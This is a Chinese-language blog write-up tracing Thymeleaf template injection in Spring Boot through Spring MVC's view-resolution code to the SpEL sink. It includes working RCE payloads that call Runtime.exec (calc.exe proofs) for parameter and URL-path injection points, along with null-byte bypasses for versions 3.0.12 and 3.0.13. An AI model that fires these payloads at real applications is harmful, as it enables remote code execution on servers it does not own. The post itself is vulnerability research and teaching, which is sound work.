Java ssti,我特么莱辣
分析一下thymeleaf,velocity,freemarker等的模板注入!这节是Thymeleaf
代码环境:https://github.com/godownio/SSTIVuln
Java Thymeleaf SSTI
写JavaWeb和SSM的时候,前端页面可能会用JSP写,但是因为之前项目都是war包部署,而SpringBoot都是jar包且内嵌tomcat,所以是不支持解析jsp文件的。
但是如果是编写纯静态的html就很不方便,那么这时候就需要一个模版引擎类似于Jinja2可以通过表达式帮我们把动态的变量渲染到前端页面,我们只需要写一个template即可。
Thymeleaf的一些基础
作为安全人员,不用完全掌握一个组件具体是怎么在开发中使用的,只需要知道一些简单的方法
- 代审指纹:如何区分哪些是Thymeleaf的html?
在Thymeleaf
的html
中首先要加上下面的标识。
1 | <html xmlns:th="http://www.thymeleaf.org"> |
标签
Thymeleaf
提供了一些内置标签,通过标签来实现特定的功能。
标签 | 作用 | 示例 |
---|---|---|
th:id | 替换id | <input th:id="${user.id}"/> |
th:text | 文本替换 | <p text:="${user.name}">bigsai</p> |
th:utext | 支持html的文本替换 | <p utext:="${htmlcontent}">content</p> |
th:object | 替换对象 | <div th:object="${user}"></div> |
th:value | 替换值 | <input th:value="${user.name}" > |
th:each | 迭代 | <tr th:each="student:${user}" > |
th:href | 替换超链接 | <a th:href="@{index.html}">超链接</a> |
th:src | 替换资源 | <script type="text/javascript" th:src="@{index.js}"></script> |
@{}
在Thymeleaf中,如果想引入链接比如link,href,src,需要使用@{资源地址}
引入资源。
1 | <link rel="stylesheet" th:href="@{index.css}"> |
${}
可以通过${…}
在model中取值,如果在Model
中存储字符串,则可以通过${对象名}
直接取值。
1 | public String addindex(Model model)//对应函数 |
~{}
如下,在/WEB-INF/templates/footer.html定义一个copy的fragment
1 | <div th:fragment="copy"> |
在另一template中引用该片段
1 | <div th:insert="~{footer :: copy}"></div> |
- **
{templatename::selector}**,会在{footer :: copy}`/WEB-INF/templates/
目录下寻找名为templatename
的模版中定义的fragment
,如上面的` - **~{templatename}**,引用整个
templatename
模版文件作为fragment
- **~{::selector} 或 ~{this::selector}**,引用来自同一模版文件名为
selector
的fragmnt
除了在html中运用之外,springboot的Controller注解等的控制器return相当于利用这个语法直接返回资源目录中的xxx.html,而且不用~{}
包裹,如下:
test.html:
1 |
|
Controller中使用unsafe fragment:
1 |
|
访问/aaa?payload=test会处理为~{test}
,也就是test.html的内容
或者
1 | public class TestController { |
访问/aaa?payload=test会返回~{test::unsafe}
环境搭建
IDEA能启动Java8的springboot项目,服务器url填https://start.aliyun.com
组件勾上spring Web即可,因为Themeleaf ssti的漏洞版本在springboot很老的版本了,就不勾Thymeleaf,进去后在pom.xml中添加
1 | <dependency> |
- 漏洞版本thymeleaf-spring5 <= 3.0.11.RELEASE
3.0.12,3.0.13可以绕过,3.0.14被彻底修复
一般来说是从Controller的return值获取对应想要调用的模板名,然后Thymeleaf后续得到了这个模板名回去/templates目录下去找相应的.html文件并返回;问题就在于从return到获取到模板名不仅仅是“一一对应”,这个return本身是支持SpEL表达式的,导致templatename可以被控制时存在注入
1 |
|
一些吐槽:
刚开始测,用的spring-boot-starter-thymeleaf 3.0.11,结果一看thymeleaf根本不在漏洞版本内
那么下面三个有什么区别?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15 ><dependency>
<groupId>org.thymeleaf</groupId>
<artifactId>thymeleaf</artifactId>
<version>3.0.11.RELEASE</version>
></dependency>
><dependency>
<groupId>org.thymeleaf</groupId>
<artifactId>thymeleaf-spring5</artifactId>
<version>3.0.11.RELEASE</version>
></dependency>
><dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
<version>3.0.11</version>
></dependency>第一个是Thymeleaf的核心库,与Spring无关,相应的,不能使用spEL表达式。如果只想在非
Spring
环境下使用Thymeleaf
,可以只引入这个依赖第二个是
Thymeleaf
专门为Spring 5
设计的集成库,提供了Thymeleaf
和Spring
的整合支持。支持SpEL,能解析Spring Bean,支持绑定Model和View。需要配合thymeleaf
核心库一起使用,不能单独使用第三个是
Spring Boot
提供的Thymeleaf
启动器,包含了前面两个依赖。但是版本并不一定对应!网上找了个漏洞版本的springboot,然后去maven才找到这个漏洞的依赖,一般遇到springboot<=2.5.x可以看下其thymeleaf是否在漏洞版本内。
据我个人追溯,spring-boot-starter-thymeleaf<=2.2.12.RELEASE才使用了漏洞依赖,现在几乎也完全绝迹,所以是个仅供学习的漏洞了
payload
根据~{templatename::selector}
表达式的情况,很明显可以分为两种注入类型
- 一个是注入点在templatesname
1 |
|
- 一个是注入点在selector:
1 |
|
如果是GET注入点,需要URL编码,不然Tomcat高版本(9.x)会报RFC错误(有&_
这种字符)
理论上payload都能用以下:
1 | __$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x |
- 除此以外,还有一个特别的,注入点在URL path,用@PathVariable接收参数
1 |
|
原理解析
这里以如下Controller和payload做测试
1 |
|
1 | __$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x |
Spring MVC 采用 前端控制器(DispatcherServlet) 作为核心组件,它负责接收请求、调用相应的 Controller
处理业务逻辑,并最终通过 视图解析器(ViewResolver) 渲染视图。
前情提要
HandlerAdapter
对于执行流程的通用性起到了非常重要的作用,它能把任何一个Handler(注意是Object类型)
都适配成一个HandlerAdapter
,从而可以做统一的流程处理。具体的流程如下:
1、请求首先进入DispatcherServlet, 由DispatcherServlet 从HandlerMappings中匹配对应的Handler,此时只是获取到了对应的Handler,然后拿着这个Handler去寻找对应的适配器,即:HandlerAdapter;
2、拿到对应HandlerAdapter时,这时候开始调用对应的Handler方法,即执行我们的Controller来处理业务逻辑了, 执行完成之后返回一个ModeAndView;
3、HandlerAdapter执行完之后,返回一个ModeAndView,把它交给我们的视图解析器ViewResolver,通过视图名称查找出对应的视图然后返回;
4、最后,渲染视图 返回渲染后的视图。
从代码上来说,DispatcherServlet.doDispatch完成了整个请求分发和视图渲染的逻辑,1部分具体分析可见https://godownio.github.io/2025/03/25/spring-dispatcherservlet-xiang-jie/
其实该分析总结来说就是Controller接口具有视图渲染功能,HttpRequestHandler接口却没有。这里留了一个问题,RestController有没有视图渲染功能?
这里我们从3开始调代码
实例化ModeAndView
看到DispatcherServlet.doDispatch,获取完HandlerAdapter后,调用其handle方法
一直跟进,直到ServletInvocableHandlerMethod#invokeAndHandler方法,该方法内先后调用了invokeForRequest和this.returnValueHandlers.handleReturnValue。其他代码不用看
跟进到InvokecableHandlerMethod#invokeForRequest。先是调用getMethodArgumentValues获取了参数,然后调用doInvoke。不用跟进也知道doInvoke是调用Controller去处理请求
事实证明正是在doInvoke处完成了Controller的处理
doInvoke的值返回后赋值给returnValue,可以看到是String格式
然后是调用this.returnValueHandlers.handleReturnValue,这里用getReturnValueType对returnValue处理了一下
跟进getReturnValueType,发现是用ReturnValueMethodParameter做了封装
即传入handleReturnValue方法的第二个参数returnType如下,用ReturnValueMethodParameter封装的对象:
跟进到handleReturnValue,先调用selectHandler,然后用调用其返回值的handleReturnValue方法
selectHandler里面有个循环,首先判断是否异步(恒为false),然后循环调用supportsReturnType查看returnValueHandlers有没有匹配returnType的handler
returnValueHandlers如下
这里马后炮来看,取到的是ViewNameMethodReturnValueHandler
如果返回为空或者为字符串,就会满足ViewNameMethodReturnValueHandler.supportReturnType
继续跟进到这个handler的handleReturnValue方法,把传入的参数设置为视图名
注意设置为视图名非常关键,因为后面Thymeleaf渲染就会取视图名去解析
后续跟进getModelAndView,可以看到实例化ModelAndView,传的参数就是上面的ViewName!
说明下面就会进行渲染!
如果把注解从Controller换成RestController呢?
handler变成了RequestResponseBodyMethodProcessor
RequestResponseBodyMethodProcessor.supportsReturnType判断Controller有没有被ResponseBody注解修饰
很明显Controller没有被ResponseBody注解修饰,而RestController被修饰了
进入到RequestResponseBodyMethodProcessor.handleReturnValue,可以发现并没有设置viewName,而是createInputMessage和createOutputMessage
跟进一下发现直接从servletRequest读,写也是不用渲染直接写回servletResponse
其实RestController是用来直接返回json、xml等数据的,用于一些api的开发
所以懂了吧,RestController注解的不会触发SSTI漏洞,同时Controller注解上加ResponseBody也不会触发SSTI漏洞
applyDefaultViewName URL SSTI
回到doDispatch,handle完成了以上介绍的交给Controller处理、取出参数作为viewName这两个主要功能。接着调用applyDefaultViewName
跟进到applyDefaultViewName,这里判断了viewName是否为空,如果为空则调用getDefaultViewName获取默认的viewName
我们静态看一下,getDefaultViewName怎么获取的。
进到了另一个getViewName
getViewName会调用transformPath处理path
跟进到transformPath,第三个if负责分离掉文件后缀
这就是URL类型的 SSTI需要加.x
的原因,如果不加,则前一个点就会被当作路径分隔符,payload就会完全坏掉)
1 | /vuln3/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x |
持续跟进,得知此处就是把URL做viewName
这里实际上也是第三种payload(如下)的原因。
1 |
|
processDispatchResult:SSTI sink
我们经过了handle和applyDefaultViewName,终于来到了最后的视图渲染部分,也是SSTI最后触发的sink点:processDispatchResult
processDispatchResult调用了render方法
在render方法内,先是调用getViewName获取viewName,然后调用resolveViewName解析
resolveViewName循环viewResolvers去解析
viewResolvers如下:
这里选到的是ThymeleafViewResolver,具体怎么选的这里不深入探析
后续就是跟进到ThymeleafView.render,调用了renderFragment
继续跟进,先判断viewTemplateName是否包含::
,如果包含就用~{}
包裹,并用parser.parseExpression去解析
这里viewTemplateName如下,也就是我们的payload经过Controller return的值
然后经过如下栈,跟进到StandardExpressionPreprocessor.preprocess
这个函数先是定义了一个matcher正则匹配器,然后去嵌套的解析input
这个正则正是匹配input两边的双下划线__
看代码很容易看出来,把正则匹配到的前面部分,也就是{
加到strBuilder,尾巴加到remaining,中间的部分调用expression.execute解析,这里就触发spEL表达式注入漏洞了
完整的触发spEL的栈如下
其实这完全可以说是一个spEL表达式注入漏洞
我们进一步查看该图里的checkPreprocessingMarkUnescaping,由于代码很长,我直接说它的作用,就是寻找字符串是否含特定的结构 \__
,如果有就换成__
所以这个payload也是OK的(已测试):
1 | payload=\__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc.exe").getInputStream()).next()}__::.x |
sink 2
还是preprocess解析这里,为什么要把前面和尾巴部分保留,最后拼起来?我们可以清晰地看到,仍然保留了~{}
的形式,难道说?还有二次解析?
猜对了,假如execute没有执行spEL表达式,以字符串形式返回了,会来到FragmentExpression.createExecutedFragmentExpression
依然会进行spEL解析
没有双下划线的payload就是走的这个路径触发的漏洞
1 | payload=${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc.exe").getInputStream()).next()}::.x |
而且上面两个路径都是包含::
就会触发漏洞,所以其实selector的部分可以省略:
1 | payload=${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc.exe").getInputStream()).next()}:: |
不过可惜,按照~{templatename::selector}
格式,由于是先解析templatename,再解析selector,不然::
可以放前面
不过当然applyDefaultBiewName解析URL 触发SSTI是不能去掉.x
的
总结
有一些文章会涉及到Thymeleaf SSTI回显,不过打入SpEL后目标默认回显错误页面。回显条件较多,意义不大
另外还有几个小版本的绕过,深入研究的意义也不是很大,总体是学习一下整个JAVA SSTI的触发流程
整个SSTI触发的流程:
ha.handle完成了交给Controller处理、取出参数作为viewName;如果参数没取到viewName,则将URL path作为viewName;解析的时候如果遇到::
会进行片段表达式的解析,即先后用org.thymeleaf.standard.expression.Expression#execute去处理,进而触发spEL表达式注入
重点在于Controller接口具有视图渲染功能,如果用RestController或者给Controller加上ResponseBody就失去了视图渲染功能,就不会触发漏洞
<=3.0.11 payload:
- 参数型:
1 | payload=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc.exe").getInputStream()).next()}__::.x |
可以去掉.x
,可以去掉两遍的双下划线,可以在前面加\
- URL型:
为了避免提前识别为文件后缀,后面的.x
不能省
1 | payload=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc.exe").getInputStream()).next()}__::.x |
1 | payload=\__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc.exe").getInputStream()).next()}__::.x |
由于利用价值不大,在此了解payload即可
=3.0.12 Bypass:
1 | __%24%7b%00new+java.util.Scanner(T+(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__ |
=3.0.13 Bypass:
1 | %24%7b%00new+java.util.Scanner(%00T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d |
大于3.0.14 G
说实话这种直接控制return或者接收指定URL渲染的代码开发方式对我的世界观冲击太大了。怪不得不肯分配CVE编号
ref: